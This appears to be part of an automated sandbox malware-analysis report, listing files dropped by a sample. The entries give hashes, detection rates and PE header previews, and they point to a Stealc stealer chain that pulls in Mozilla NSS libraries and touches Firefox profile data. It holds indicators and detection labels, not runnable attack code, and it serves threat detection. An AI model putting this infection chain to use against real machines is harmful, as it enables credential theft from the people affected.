SHA-512:	4A7170E26723CF24DE14EB1AD70EE804BEA896012336ED84181B417F7655DC60FDA662675984B1E00491AE60DD01E230DC613585B4F20EE8472B5ABDD2443357
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......i...........@...........................j.....a.....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... .0*...%......:..............@...ypqgsygb......P......<..............@...vqrcrxym......i.....................@....taggant.0....i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\nss3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\softokn3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\vcruntime140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2963456
Entropy (8bit):	6.516368568211635
Encrypted:	false
SSDEEP:	49152:EDKLqhSkh3JZczYdwajE4fQudc8BEvj6H2k:yKLql3JgYdnrvdcoHf
MD5:	30FCEAD7FF4FC69F9DA4ECFA4837AD83
SHA1:	FCED1D4DF89C0648044CED685FB63F594D096B77
SHA-256:	786A51F204C62A49D834BB2A09882E4B228009F23E537F9503FA02519311C31E
SHA-512:	3E03FE93892256909B17258C5F64948BB8E110D4C2C254F3FD6DE377C2630E18DE9EFDCAD4C4736E7362A6E6274CBDB47EC5442263F572C13A024F0B5E6B0C96
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f..............................0...........@...........................0.....x.-...@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...urronsyq...........p..............@...rvyhmtwg......0.......-.............@....taggant.0....0.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001134001\f84005b97f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2963456
Entropy (8bit):	6.516368568211635
Encrypted:	false
SSDEEP:	49152:EDKLqhSkh3JZczYdwajE4fQudc8BEvj6H2k:yKLql3JgYdnrvdcoHf
MD5:	30FCEAD7FF4FC69F9DA4ECFA4837AD83
SHA1:	FCED1D4DF89C0648044CED685FB63F594D096B77
SHA-256:	786A51F204C62A49D834BB2A09882E4B228009F23E537F9503FA02519311C31E
SHA-512:	3E03FE93892256909B17258C5F64948BB8E110D4C2C254F3FD6DE377C2630E18DE9EFDCAD4C4736E7362A6E6274CBDB47EC5442263F572C13A024F0B5E6B0C96
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f..............................0...........@...........................0.....x.-...@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...urronsyq...........p..............@...rvyhmtwg......0.......-.............@....taggant.0....0.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001135001\7e96f85771.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1837568
Entropy (8bit):	7.9494607167117515
Encrypted:	false
SSDEEP:	49152:pGE4JDmLZWvNPhWGXP2/8dlx0atEYt+4blOa5Hx22u:pGWlWFPMD/s0aty4bl1R29
MD5:	2CD42CDA18A7285D3B070C15699B975A
SHA1:	0D2E1F8FBA3D6661B9C28554BEB9D4240418AB08
SHA-256:	3176F8825510D2C5031962649C07D65D90FD19E6722B3009464B4B1FF19FCECE
SHA-512:	4A7170E26723CF24DE14EB1AD70EE804BEA896012336ED84181B417F7655DC60FDA662675984B1E00491AE60DD01E230DC613585B4F20EE8472B5ABDD2443357
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......i...........@...........................j.....a.....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... .0*...%......:..............@...ypqgsygb......P......<..............@...vqrcrxym......i.....................@....taggant.0....i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001136001\88edf6a100.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584691591048397
Encrypted:	false
SSDEEP:	12288:cqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TC:cqDEvCTbMWu7rQYlBQcBiT6rprG8abC
MD5:	7D14662A9C03A2F5C76282EF751E4D00
SHA1:	80ED80ACC01B82F1820CF1977AB834B559DE9C36
SHA-256:	FF7E8BF72587AB66F402FA54B9922FDBA70C48D16FAC07B9AFA2131E315D2017
SHA-512:	449B20B1B88ED7248FB25E44F0D1FE63F87F151B94F72C02C1DBA7C3F49CE78FDB46E9516A78D556F899D81AAD582EB548448A7C4973145F507E69A903640C7E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...5..g.........."..........X......w.............@..........................`......5.....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001137001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1001137001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\g4Cyr2T5jq.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1959936
Entropy (8bit):	7.948330338573001
Encrypted:	false
SSDEEP:	24576:rS8nJgJ1C6crpULN+/lCHyXKTD0eja0Qtp5sjH9NWtlJl8XPBP4My9GdOTcc4Fq:rOJKK8/lCH/T3alLshNWzJlL7bTs
MD5:	7D31FAD9B219D539D3C5915DFF14A669
SHA1:	DBE2D2EB17F70BE6E9646E56C3A0085FE434988E
SHA-256:	80EA1E48313ACF9319D608D3AFE7733CD466D8451AD89B61C4B09C0F7C0764A2
SHA-512:	9124347D0F83DF486EC445AF499B2AA7B01B6A1C4A58D3BFA514988D3593144CCCCC25A578908B1FA242389229EEFFDB075CD65D45043A8CA74D3663E9ADCD9E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................M...........@...........................M...........@.................................W...k.............................M.............................@.M..................................................... . ............................@....rsrc...............................@....idata ............................@... .0,.........................@...ordjlgkm......2.....................@...zsnxwtzn......M.....................@....taggant.0....M.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\g4Cyr2T5jq.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:	24:DLSvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DKwae+QtMImelekKDa5
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Category:	modified
Size (bytes):	98304
Entropy (8bit):	0.0733309034670187
Encrypted:	false
